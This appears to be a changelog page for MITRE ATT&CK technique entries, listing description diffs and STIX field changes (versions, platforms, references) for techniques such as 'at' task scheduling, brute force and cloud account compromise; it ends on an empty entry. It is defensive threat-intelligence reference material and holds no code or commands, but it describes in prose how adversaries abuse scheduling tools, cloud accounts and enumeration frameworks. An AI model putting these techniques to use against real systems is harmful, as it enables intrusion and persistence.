>ocols to avoid detection/network filtering by blending in wi>ocols to avoid detection/network filtering by blending in wi
>th existing traffic. Commands to the remote system, and ofte>th existing traffic. Commands to the remote system, and ofte
>n the results of those commands, will be embedded within the>n the results of those commands, will be embedded within the
> protocol traffic between the client and server.   Adversari> protocol traffic between the client and server.   Adversari
>es may utilize many different protocols, including those use>es may utilize many different protocols, including those use
>d for web browsing, transferring files, electronic mail, or >d for web browsing, transferring files, electronic mail, DNS
>DNS. For connections that occur internally within an enclave>, or publishing/subscribing. For connections that occur inte
> (such as those between a proxy or pivot node and other node>rnally within an enclave (such as those between a proxy or p
>s), commonly used protocols are SMB, SSH, or RDP.(Citation: >ivot node and other nodes), commonly used protocols are SMB,
>Mandiant APT29 Eye Spy Email Nov 22) > SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)
 > 
Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-17 22:52:23.454000+00:002024-08-28 14:10:33.145000+00:00
descriptionAdversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. + +Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. + +Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)
x_mitre_version2.22.3

[T1499.004] Endpoint Denial of Service: Application or System Exploitation

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-03-25 18:11:13.604000+00:002024-10-15 15:42:23.001000+00:00
x_mitre_version1.21.3
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsSaaS
x_mitre_platformsGoogle Workspace

[T1053.002] Scheduled Task/Job: At

Current version: 2.3

Version changed from: 2.2 → 2.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse the [at](https://attack.mitre.org/softt1Adversaries may abuse the [at](https://attack.mitre.org/soft
>ware/S0110) utility to perform task scheduling for initial o>ware/S0110) utility to perform task scheduling for initial o
>r recurring execution of malicious code. The [at](https://at>r recurring execution of malicious code. The [at](https://at
>tack.mitre.org/software/S0110) utility exists as an executab>tack.mitre.org/software/S0110) utility exists as an executab
>le within Windows, Linux, and macOS for scheduling tasks at >le within Windows, Linux, and macOS for scheduling tasks at 
>a specified time and date. Although deprecated in favor of [>a specified time and date. Although deprecated in favor of [
>Scheduled Task](https://attack.mitre.org/techniques/T1053/00>Scheduled Task](https://attack.mitre.org/techniques/T1053/00
>5)'s [schtasks](https://attack.mitre.org/software/S0111) in >5)'s [schtasks](https://attack.mitre.org/software/S0111) in 
>Windows environments, using [at](https://attack.mitre.org/so>Windows environments, using [at](https://attack.mitre.org/so
>ftware/S0110) requires that the Task Scheduler service be ru>ftware/S0110) requires that the Task Scheduler service be ru
>nning, and the user to be logged on as a member of the local>nning, and the user to be logged on as a member of the local
> Administrators group.  On Linux and macOS, [at](https://att> Administrators group. In addition to explicitly running the
>ack.mitre.org/software/S0110) may be invoked by the superuse> `at` command, adversaries may also schedule a task with [at
>r as well as any users added to the <code>at.allow</code> fi>](https://attack.mitre.org/software/S0110) by directly lever
>le. If the <code>at.allow</code> file does not exist, the <c>aging the [Windows Management Instrumentation](https://attac
>ode>at.deny</code> file is checked. Every username not liste>k.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class
>d in <code>at.deny</code> is allowed to invoke [at](https://>.(Citation: Malicious Life by Cybereason)  On Linux and macO
>attack.mitre.org/software/S0110). If the <code>at.deny</code>S, [at](https://attack.mitre.org/software/S0110) may be invo
>> exists and is empty, global use of [at](https://attack.mit>ked by the superuser as well as any users added to the <code
>re.org/software/S0110) is permitted. If neither file exists >>at.allow</code> file. If the <code>at.allow</code> file doe
>(which is often the baseline) only the superuser is allowed >s not exist, the <code>at.deny</code> file is checked. Every
>to use [at](https://attack.mitre.org/software/S0110).(Citati> username not listed in <code>at.deny</code> is allowed to i
>on: Linux at)  Adversaries may use [at](https://attack.mitre>nvoke [at](https://attack.mitre.org/software/S0110). If the 
>.org/software/S0110) to execute programs at system startup o><code>at.deny</code> exists and is empty, global use of [at]
>r on a scheduled basis for [Persistence](https://attack.mitr>(https://attack.mitre.org/software/S0110) is permitted. If n
>e.org/tactics/TA0003). [at](https://attack.mitre.org/softwar>either file exists (which is often the baseline) only the su
>e/S0110) can also be abused to conduct remote [Execution](ht>peruser is allowed to use [at](https://attack.mitre.org/soft
>tps://attack.mitre.org/tactics/TA0002) as part of [Lateral M>ware/S0110).(Citation: Linux at)  Adversaries may use [at](h
>ovement](https://attack.mitre.org/tactics/TA0008) and/or to >ttps://attack.mitre.org/software/S0110) to execute programs 
>run a process under the context of a specified account (such>at system startup or on a scheduled basis for [Persistence](
> as SYSTEM).  In Linux environments, adversaries may also ab>https://attack.mitre.org/tactics/TA0003). [at](https://attac
>use [at](https://attack.mitre.org/software/S0110) to break o>k.mitre.org/software/S0110) can also be abused to conduct re
>ut of restricted environments by using a task to spawn an in>mote [Execution](https://attack.mitre.org/tactics/TA0002) as
>teractive system shell or to run system commands. Similarly,> part of [Lateral Movement](https://attack.mitre.org/tactics
> [at](https://attack.mitre.org/software/S0110) may also be u>/TA0008) and/or to run a process under the context of a spec
>sed for [Privilege Escalation](https://attack.mitre.org/tact>ified account (such as SYSTEM).  In Linux environments, adve
>ics/TA0004) if the binary is allowed to run as superuser via>rsaries may also abuse [at](https://attack.mitre.org/softwar
> <code>sudo</code>.(Citation: GTFObins at)>e/S0110) to break out of restricted environments by using a 
 >task to spawn an interactive system shell or to run system c
 >ommands. Similarly, [at](https://attack.mitre.org/software/S
 >0110) may also be used for [Privilege Escalation](https://at
 >tack.mitre.org/tactics/TA0004) if the binary is allowed to r
 >un as superuser via <code>sudo</code>.(Citation: GTFObins at
 >)
Details
values_changed
STIX FieldOld valueNew Value
modified2023-11-15 14:38:10.876000+00:002024-10-12 15:53:12.333000+00:00
descriptionAdversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. + +On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at) + +Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). + +In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason) + +On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at) + +Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). + +In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
external_references[4]['description']Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.
external_references[4]['url']https://twitter.com/leoloobeek/status/939248813465853953https://x.com/leoloobeek/status/939248813465853953
x_mitre_version2.22.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Malicious Life by Cybereason', 'description': 'Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.', 'url': 'https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe'}

[T1119] Automated Collection

Current version: 1.3

Version changed from: 1.2 → 1.3

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-02 13:35:57.680000+00:002024-09-25 20:40:07.791000+00:00
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_data_sourcesUser Account: User Account Authentication
x_mitre_platformsOffice Suite

[T1552.003] Unsecured Credentials: Bash History

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2022-03-08 21:34:44.728000+00:002024-09-12 15:24:04.912000+00:00
external_references[1]['description']Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.
external_references[1]['url']http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-wayhttps://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418
x_mitre_version1.11.2

[T1110] Brute Force

Current version: 2.6

Version changed from: 2.5 → 2.6

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-29 18:53:26.593000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version2.52.6
x_mitre_platforms[7]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1552.008] Unsecured Credentials: Chat Messages

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-11 00:34:00.779000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1070.008] Indicator Removal: Clear Mailbox Data

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-12 20:56:32.743000+00:002024-10-15 15:43:56.839000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.11.2
x_mitre_platforms[3]Office 365Office Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsGoogle Workspace

[T1059.009] Command and Scripting Interpreter: Cloud API

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 18:04:54.607000+00:002024-10-15 15:44:20.143000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.01.1
x_mitre_platforms[2]Office 365Office Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace

[T1087.004] Account Discovery: Cloud Account

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-03-16 12:54:41.133000+00:002024-10-15 15:51:18.808000+00:00
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1136.003] Create Account: Cloud Account

Current version: 1.6

Version changed from: 1.5 → 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-28 16:14:28.678000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.51.6
x_mitre_platforms[3]Google WorkspaceIdentity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1078.004] Valid Accounts: Cloud Accounts

Current version: 1.8

Version changed from: 1.7 → 1.8

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-29 15:42:13.499000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.71.8
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1586.003] Compromise Accounts: Cloud Accounts

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may compromise cloud accounts that can be used dt1Adversaries may compromise cloud accounts that can be used d
>uring targeting. Adversaries can use compromised cloud accou>uring targeting. Adversaries can use compromised cloud accou
>nts to further their operations, including leveraging cloud >nts to further their operations, including leveraging cloud 
>storage services such as Dropbox, Microsoft OneDrive, or AWS>storage services such as Dropbox, Microsoft OneDrive, or AWS
> S3 buckets for [Exfiltration to Cloud Storage](https://atta> S3 buckets for [Exfiltration to Cloud Storage](https://atta
>ck.mitre.org/techniques/T1567/002) or to [Upload Tool](https>ck.mitre.org/techniques/T1567/002) or to [Upload Tool](https
>://attack.mitre.org/techniques/T1608/002)s. Cloud accounts c>://attack.mitre.org/techniques/T1608/002)s. Cloud accounts c
>an also be used in the acquisition of infrastructure, such a>an also be used in the acquisition of infrastructure, such a
>s [Virtual Private Server](https://attack.mitre.org/techniqu>s [Virtual Private Server](https://attack.mitre.org/techniqu
>es/T1583/003)s or [Serverless](https://attack.mitre.org/tech>es/T1583/003)s or [Serverless](https://attack.mitre.org/tech
>niques/T1583/007) infrastructure. Compromising cloud account>niques/T1583/007) infrastructure. Additionally, cloud-based 
>s may allow adversaries to develop sophisticated capabilitie>messaging services such as Twilio, SendGrid, AWS End User Me
>s without managing their own servers.(Citation: Awake Securi>ssaging, AWS SNS (Simple Notification Service), or AWS SES (
>ty C2 Cloud)  A variety of methods exist for compromising cl>Simple Email Service) may be leveraged for spam or [Phishing
>oud accounts, such as gathering credentials via [Phishing fo>](https://attack.mitre.org/techniques/T1566).(Citation: Palo
>r Information](https://attack.mitre.org/techniques/T1598), p> Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Ci
>urchasing credentials from third-party sites, conducting [Pa>tation: Netcraft SendGrid 2024) Compromising cloud accounts 
>ssword Spraying](https://attack.mitre.org/techniques/T1110/0>may allow adversaries to develop sophisticated capabilities 
>03) attacks, or attempting to [Steal Application Access Toke>without managing their own servers.(Citation: Awake Security
>n](https://attack.mitre.org/techniques/T1528)s.(Citation: MS> C2 Cloud)  A variety of methods exist for compromising clou
>TIC Nobelium Oct 2021) Prior to compromising cloud accounts,>d accounts, such as gathering credentials via [Phishing for 
> adversaries may conduct Reconnaissance to inform decisions >Information](https://attack.mitre.org/techniques/T1598), pur
>about which accounts to compromise to further their operatio>chasing credentials from third-party sites, conducting [Pass
>n. In some cases, adversaries may target privileged service >word Spraying](https://attack.mitre.org/techniques/T1110/003
>provider accounts with the intent of leveraging a [Trusted R>) attacks, or attempting to [Steal Application Access Token]
>elationship](https://attack.mitre.org/techniques/T1199) betw>(https://attack.mitre.org/techniques/T1528)s.(Citation: MSTI
>een service providers and their customers.(Citation: MSTIC N>C Nobelium Oct 2021) Prior to compromising cloud accounts, a
>obelium Oct 2021)>dversaries may conduct Reconnaissance to inform decisions ab
 >out which accounts to compromise to further their operation.
 > In some cases, adversaries may target privileged service pr
 >ovider accounts with the intent of leveraging a [Trusted Rel
 >ationship](https://attack.mitre.org/techniques/T1199) betwee
 >n service providers and their customers.(Citation: MSTIC Nob
 >elium Oct 2021)
Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-21 14:21:57.991000+00:002024-10-16 21:26:36.312000+00:00
descriptionAdversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud) + +A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud) + +A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022', 'description': 'Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.', 'url': 'https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/'}
external_references{'source_name': 'Netcraft SendGrid 2024', 'description': 'Graham Edgecombe. (2024, February 7). Phishception – SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.', 'url': 'https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/'}

[T1069.003] Permission Groups Discovery: Cloud Groups

Current version: 1.5

Version changed from: 1.4 → 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-21 13:33:40.625000+00:002024-10-15 15:51:35.759000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.41.5
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1538] Cloud Service Dashboard

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 04:25:33.300000+00:002024-10-15 15:51:56.279000+00:00
x_mitre_version1.31.4
x_mitre_platforms[3]Google WorkspaceIdentity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1526] Cloud Service Discovery

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1An adversary may attempt to enumerate the cloud services runt1An adversary may attempt to enumerate the cloud services run
>ning on a system after gaining access. These methods can dif>ning on a system after gaining access. These methods can dif
>fer from platform-as-a-service (PaaS), to infrastructure-as->fer from platform-as-a-service (PaaS), to infrastructure-as-
>a-service (IaaS), or software-as-a-service (SaaS). Many serv>a-service (IaaS), or software-as-a-service (SaaS). Many serv
>ices exist throughout the various cloud providers and can in>ices exist throughout the various cloud providers and can in
>clude Continuous Integration and Continuous Delivery (CI/CD)>clude Continuous Integration and Continuous Delivery (CI/CD)
>, Lambda Functions, Azure AD, etc. They may also include sec>, Lambda Functions, Entra ID, etc. They may also include sec
>urity services, such as AWS GuardDuty and Microsoft Defender>urity services, such as AWS GuardDuty and Microsoft Defender
> for Cloud, and logging services, such as AWS CloudTrail and> for Cloud, and logging services, such as AWS CloudTrail and
> Google Cloud Audit Logs.  Adversaries may attempt to discov> Google Cloud Audit Logs.  Adversaries may attempt to discov
>er information about the services enabled throughout the env>er information about the services enabled throughout the env
>ironment. Azure tools and APIs, such as the Azure AD Graph A>ironment. Azure tools and APIs, such as the Microsoft Graph 
>PI and Azure Resource Manager API, can enumerate resources a>API and Azure Resource Manager API, can enumerate resources 
>nd services, including applications, management groups, reso>and services, including applications, management groups, res
>urces and policy definitions, and their relationships that a>ources and policy definitions, and their relationships that 
>re accessible by an identity.(Citation: Azure - Resource Man>are accessible by an identity.(Citation: Azure - Resource Ma
>ager API)(Citation: Azure AD Graph API)  For example, Storms>nager API)(Citation: Azure AD Graph API)  For example, Storm
>potter is an open source tool for enumerating and constructi>spotter is an open source tool for enumerating and construct
>ng a graph for Azure resources and services, and Pacu is an >ing a graph for Azure resources and services, and Pacu is an
>open source AWS exploitation framework that supports several> open source AWS exploitation framework that supports severa
> methods for discovering cloud services.(Citation: Azure - S>l methods for discovering cloud services.(Citation: Azure - 
>tormspotter)(Citation: GitHub Pacu)  Adversaries may use the>Stormspotter)(Citation: GitHub Pacu)  Adversaries may use th
> information gained to shape follow-on behaviors, such as ta>e information gained to shape follow-on behaviors, such as t
>rgeting data or credentials from enumerated services or evad>argeting data or credentials from enumerated services or eva
>ing identified defenses through [Disable or Modify Tools](ht>ding identified defenses through [Disable or Modify Tools](h
>tps://attack.mitre.org/techniques/T1562/001) or [Disable or >ttps://attack.mitre.org/techniques/T1562/001) or [Disable or
>Modify Cloud Logs](https://attack.mitre.org/techniques/T1562> Modify Cloud Logs](https://attack.mitre.org/techniques/T156
>/008).>2/008).

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-05-04 18:01:44.086000+00:002024-10-14 22:11:30.271000+00:00
descriptionAn adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs. + +Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API) + +For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu) + +Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs. + +Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API) + +For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu) + +Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_data_sourcesLogon Session: Logon Session Creation
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1021.007] Remote Services: Cloud Services

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 22:27:04.095000+00:002024-10-15 15:52:47.255000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace

[T1213.003] Data from Information Repositories: Code Repositories

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
